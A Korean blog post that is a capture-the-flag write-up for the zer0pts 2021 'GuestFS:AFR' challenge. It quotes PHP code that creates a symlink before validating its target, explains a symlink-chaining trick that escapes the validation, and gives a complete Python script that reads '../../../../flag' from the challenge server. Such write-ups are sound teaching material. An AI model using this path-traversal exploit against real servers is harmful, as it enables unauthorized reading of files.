CTF(Capture The Flag)/zeroptf 2021

GuestFS:AFR

cyanhe_wh 2021. 3. 12. 14:17
반응형

풀이

            /* Create a symbolic link */
            @symlink($target, $this->root.$name);

            /* This check ensures $target points to inside user-space */
            try {
                $this->validate_filepath(@readlink($this->root.$name));
            } catch(Exception $e) {
                /* Revert changes */
                @unlink($this->root.$name);
                throw $e;
            }

        }
    }

function validate_filepath($path)
    {  
        if (strpos($path, "/") === 0) {
            throw new Exception('invalid filepath (absolute path)');
        } else if (strpos($path, "..") !== false) {
            throw new Exception('invalid filepath (outside user-space)');
        }
    }

심볼릭 링크 파일을 만들 때 먼저 만들고, try에서 파일 경로를 체크하고 / 혹은 .. 가 들어가 있으면 exception을 발생시켜 링크를 해제한다.

즉, 뭐가 됬던 한번은 연결을 한다는 것이다.

php symlink는 a → b → c 이렇게 심볼릭 링크가 존재한다고 할때,

c를 삭제(a → b → )하고, a에 심볼릭 링크(@symlink(d, a))를 또 걸면 a → b → c → d 이렇게 생성이 된다. 리눅스에서는 a가 존재하면 파일이 존재한다고 생성되지 않는데, php symlink 함수는 그냥 생성한다.

이 취약점을 이용하면, flag를 얻을 수 있다.

  1. a → b 생성
  2. b 삭제 (a → )
  3. symlink('../../../../flag', a) 생성
  4. a → b → ../../../../flag
  5. a 파일 읽기

Solve

import re
import requests

URL = 'http://web.ctf.zer0pts.com:8001/'
# URL = 'http://192.168.10.131:8080/'

session = requests.Session()
session.get(URL)

data = {
    'name': '2',
    'mode': 'create',
}

# make 2
session.post(URL, data=data)

# # make 1 -> 2
data['name'] = '1'
data['target'] = '2'
data['type'] = '1'
session.post(URL, data=data)

# # delete 2
data['name'] = '2'
data['mode'] = 'delete'
session.post(URL, data=data)

# # make 1 -> 2 -> ../../../../flag
data['name'] = '1'
data['mode'] = 'create'
data['target'] = '../../../../flag'
session.post(URL, data=data)

# # read flag
data['mode'] = 'read'
res = session.post(URL, data=data)

print(re.findall(r'zer0pts\{.+?\}', res.text)[0])

Flag

zer0pts{Use-After-FreeLink?}

반응형

'CTF(Capture The Flag) > zeroptf 2021' 카테고리의 다른 글

safe_vector  (0) 2021.04.07
baby sqli  (0) 2021.03.12
OneShot  (0) 2021.03.12
stopwatch  (0) 2021.03.12
Not Beginner's Stack  (0) 2021.03.12